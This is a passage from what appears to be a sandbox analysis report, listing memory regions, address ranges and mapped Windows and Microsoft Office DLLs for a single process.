"c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 277 start_va = 0x7fef4a60000 end_va = 0x7fef4c51fff entry_point = 0x7fef4a60000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 278 start_va = 0x7fef4cf0000 end_va = 0x7fef4d60fff entry_point = 0x7fef4cf0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 279 start_va = 0x7fef5270000 end_va = 0x7fef527efff entry_point = 0x7fef5270000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 280 start_va = 0x7fef5740000 end_va = 0x7fef5753fff entry_point = 0x7fef5740000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 281 start_va = 0x7fef5a40000 end_va = 0x7fef5a4efff entry_point = 0x7fef5a40000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 282 start_va = 0x7fef5a50000 end_va = 0x7fef5a76fff entry_point = 0x7fef5a50000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 283 start_va = 0x7fef5a80000 end_va = 0x7fef5b61fff entry_point = 0x7fef5a80000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 284 start_va = 0x7fef5bb0000 end_va = 0x7fef5c35fff entry_point = 0x7fef5bb0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 285 start_va = 0x7fef68c0000 end_va = 0x7fef6a78fff entry_point = 0x7fef68c0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 286 start_va = 0x7fef6a80000 end_va = 0x7fef6a82fff entry_point = 0x7fef6a80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 287 start_va = 0x7fef6a90000 end_va = 0x7fef6a92fff entry_point = 0x7fef6a90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 288 start_va = 0x7fef6aa0000 end_va = 0x7fef6aa2fff entry_point = 0x7fef6aa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 289 start_va = 0x7fef6ab0000 end_va = 0x7fef6ab2fff entry_point = 0x7fef6ab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 290 start_va = 0x7fef6ac0000 end_va = 0x7fef6ac4fff entry_point = 0x7fef6ac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 291 start_va = 0x7fef6ad0000 end_va = 0x7fef6ad4fff entry_point = 0x7fef6ad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 292 start_va = 0x7fef6ae0000 end_va = 0x7fef6ae2fff entry_point = 0x7fef6ae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 293 start_va = 0x7fef6af0000 end_va = 0x7fef6b8dfff entry_point = 0x7fef6af0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msvcp140.dll") Region: id = 294 start_va = 0x7fef6b90000 end_va = 0x7fef6b93fff entry_point = 0x7fef6b90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 295 start_va = 0x7fef6ba0000 end_va = 0x7fef6ba3fff entry_point = 0x7fef6ba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 296 start_va = 0x7fef6bb0000 end_va = 0x7fef6bb2fff entry_point = 0x7fef6bb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 297 start_va = 0x7fef6bc0000 end_va = 0x7fef6bc3fff entry_point = 0x7fef6bc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 298 start_va = 0x7fef6d20000 end_va = 0x7fef6d23fff entry_point = 0x7fef6d20000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 299 start_va = 0x7fef6d30000 end_va = 0x7fef6d46fff entry_point = 0x7fef6d30000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vcruntime140.dll") Region: id = 300 start_va = 0x7fef7830000 end_va = 0x7fef78a3fff entry_point = 0x7fef7830000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 301 start_va = 0x7fef78b0000 end_va = 0x7fef7904fff entry_point = 0x7fef78b0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 302 start_va = 0x7fef7910000 end_va = 0x7fef7943fff entry_point = 0x7fef7910000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 303 start_va = 0x7fef8b30000 end_va = 0x7fef8bd6fff entry_point = 0x7fef8b30000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 304 start_va = 0x7fef8be0000 end_va = 0x7fef8cc1fff entry_point = 0x7fef8be0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 305 start_va = 0x7fef8cd0000 end_va = 0x7fef8fe5fff entry_point = 0x7fef8cd0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 306 start_va = 0x7fefacd0000 end_va = 0x7fefacdafff entry_point = 0x7fefacd0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 307 start_va = 0x7fefad60000 end_va = 0x7fefad74fff entry_point = 0x7fefad60000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 308 start_va = 0x7fefb0d0000 end_va = 0x7fefb0fbfff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 309 start_va = 0x7fefb1b0000 end_va = 0x7fefb1dcfff entry_point = 0x7fefb1b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 310 start_va = 0x7fefb360000 end_va = 0x7fefb370fff entry_point = 0x7fefb360000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 311 start_va = 0x7fefb390000 end_va = 0x7fefb4b9fff entry_point = 0x7fefb390000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 312 start_va = 0x7fefb4c0000 end_va = 0x7fefb4f4fff entry_point = 0x7fefb4c0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 313 start_va = 0x7fefb500000 end_va = 0x7fefb517fff entry_point = 0x7fefb500000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 314 start_va = 0x7fefb710000 end_va = 0x7fefb924fff entry_point = 0x7fefb710000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 315 start_va = 0x7fefb930000 end_va = 0x7fefb985fff entry_point = 0x7fefb930000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 316 start_va = 0x7fefb990000 end_va = 0x7fefbabbfff entry_point = 0x7fefb990000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 317 start_va = 0x7fefbb10000 end_va = 0x7fefbd03fff entry_point = 0x7fefbb10000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 318 start_va = 0x7fefc1a0000 end_va = 0x7fefc1abfff entry_point = 0x7fefc1a0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 319 start_va = 0x7fefc380000 end_va = 0x7fefc39dfff entry_point = 0x7fefc380000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 320 start_va = 0x7fefc510000 end_va = 0x7fefc55bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 321 start_va = 0x7fefc5d0000 end_va = 0x7fefc616fff entry_point = 0x7fefc5d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 322 start_va = 0x7fefc8d0000 end_va = 0x7fefc8e6fff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 323 start_va = 0x7fefca40000 end_va = 0x7fefca61fff entry_point = 0x7fefca40000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 324 start_va = 0x7fefce70000 end_va = 0x7fefce7afff entry_point = 0x7fefce70000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 325 start_va = 0x7fefcea0000 end_va = 0x7fefcec4fff entry_point = 0x7fefcea0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 326 start_va = 0x7fefced0000 end_va = 0x7fefcedefff entry_point = 0x7fefced0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 327 start_va = 0x7fefcee0000 end_va = 0x7fefcf70fff entry_point = 0x7fefcee0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 328 start_va = 0x7fefcf80000 end_va = 0x7fefcfbcfff entry_point = 0x7fefcf80000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 329 start_va = 0x7fefcfc0000 end_va = 0x7fefcfd3fff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 330 start_va = 0x7fefcfe0000 end_va = 0x7fefcfeefff entry_point = 0x7fefcfe0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 331 start_va = 0x7fefd080000 end_va = 0x7fefd08efff entry_point = 0x7fefd080000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 332 start_va = 0x7fefd130000 end_va = 0x7fefd169fff entry_point = 0x7fefd130000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 333 start_va = 0x7fefd170000 end_va = 0x7fefd2d6fff entry_point = 0x7fefd170000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 334 start_va = 0x7fefd310000 end_va = 0x7fefd31ffff entry_point = 0x0 region_type = private name = "private_0x000007fefd310000" filename = "" Region: id = 335 start_va = 0x7fefd320000 end_va = 0x7fefd38afff entry_point = 0x7fefd320000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 336 start_va = 0x7fefd390000 end_va = 0x7fefd3a9fff entry_point = 0x7fefd390000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 337 start_va = 0x7fefd3b0000 end_va = 0x7fefd48afff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 338 start_va = 0x7fefd490000 end_va = 0x7fefd49dfff entry_point = 0x7fefd490000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 339 start_va = 0x7fefd4a0000 end_va = 0x7fefd568fff entry_point = 0x7fefd4a0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 340 start_va = 0x7fefd570000 end_va = 0x7fefe2f7fff entry_point = 0x7fefd570000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 341 start_va = 0x7fefe300000 end_va = 0x7fefe32dfff entry_point = 0x7fefe300000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 342 start_va = 0x7fefe330000 end_va = 0x7fefe396fff entry_point = 0x7fefe330000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 343 start_va = 0x7fefe3a0000 end_va = 0x7fefe3a7fff entry_point = 0x7fefe3a0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 344 start_va = 0x7fefe630000 end_va = 0x7fefe806fff entry_point = 0x7fefe630000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 345 start_va = 0x7fefe810000 end_va = 0x7fefea12fff entry_point = 0x7fefe810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 346 start_va = 0x7fefeb50000 end_va = 0x7fefebe8fff entry_point = 0x7fefeb50000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 347 start_va = 0x7fefebf0000 end_va = 0x7fefecf8fff entry_point = 0x7fefebf0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 348 start_va = 0x7fefed80000 end_va = 0x7fefedf0fff entry_point = 0x7fefed80000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 349 start_va = 0x7fefef80000 end_va = 0x7feff01efff entry_point = 0x7fefef80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 350 start_va = 0x7feff020000 end_va = 0x7feff03efff entry_point = 0x7feff020000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 351 start_va = 0x7feff040000 end_va = 0x7feff08cfff entry_point = 0x7feff040000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 352 start_va = 0x7feff090000 end_va = 0x7feff1bcfff entry_point = 0x7feff090000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 353 start_va = 0x7feff1c0000 end_va = 0x7feff296fff entry_point = 0x7feff1c0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 354 start_va = 0x7feff2a0000 end_va = 0x7feff2f1fff entry_point = 0x7feff2a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 355 start_va = 0x7feff3b0000 end_va = 0x7feff3b0fff entry_point = 0x7feff3b0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 356 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 357 start_va = 0x7fffff90000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 358 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 359 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 360 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 361 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 362 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 363 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 364 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 365 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 366 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 367 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 368 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 369 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 370 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 371 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 372 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 373 start_va = 0x2400000 end_va = 0x2401fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 374 start_va = 0x6800000 end_va = 0x68fffff entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 375 start_va = 0x91e0000 end_va = 0x99dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000091e0000" filename = "" Region: id = 376 start_va = 0x7fee3a00000 end_va = 0x7fee3a1dfff entry_point = 0x7fee3a00000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll") Region: id = 377 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 378 start_va = 0x2430000 end_va = 0x2453fff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 379 start_va = 0x2460000 end_va = 0x2468fff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 380 start_va = 0x2790000 end_va = 0x2790fff entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 381 start_va = 0x27a0000 end_va = 0x27c3fff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 382 start_va = 0x27d0000 end_va = 0x27d8fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 383 start_va = 0x7100000 end_va = 0x71fffff entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 384 start_va = 0x9ae0000 end_va = 0x9bdffff entry_point = 0x0 region_type = private name = "private_0x0000000009ae0000" filename = "" Region: id = 385 start_va = 0x9cf0000 end_va = 0x9deffff entry_point = 0x0 region_type = private name = "private_0x0000000009cf0000" filename = "" Region: id = 386 start_va = 0x9e40000 end_va = 0x9f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000009e40000" filename = "" Region: id = 387 start_va = 0x7fef7210000 end_va = 0x7fef7266fff entry_point = 0x7fef7210000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 388 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 389 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 390 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 391 start_va = 0x27e0000 end_va = 0x27e0fff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 392 start_va = 0x27f0000 end_va = 0x27f0fff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 393 start_va = 0x2800000 end_va = 0x2800fff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 394 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 395 start_va = 0x2820000 end_va = 0x2820fff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 396 start_va = 0x2fb0000 end_va = 0x2fb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 397 start_va = 0x30c0000 end_va = 0x30c0fff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 398 start_va = 0x30d0000 end_va = 0x30d0fff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 399 start_va = 0x3260000 end_va = 0x3260fff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 400 start_va = 0x3280000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 401 start_va = 0x3290000 end_va = 0x3290fff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 402 start_va = 0x40d0000 end_va = 0x40d0fff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 403 start_va = 0x40e0000 end_va = 0x40e0fff entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 404 start_va = 0x40f0000 end_va = 0x40f0fff entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 405 start_va = 0x4100000 end_va = 0x4100fff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 406 start_va = 0x4110000 end_va = 0x4110fff entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 407 start_va = 0x4120000 end_va = 0x4120fff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 408 start_va = 0x4130000 end_va = 0x4130fff entry_point = 0x0 region_type = private name = "private_0x0000000004130000" filename = "" Region: id = 409 start_va = 0x4140000 end_va = 0x4140fff entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 410 start_va = 0x4150000 end_va = 0x4150fff entry_point = 0x0 region_type = private name = "private_0x0000000004150000" filename = "" Region: id = 411 start_va = 0x4160000 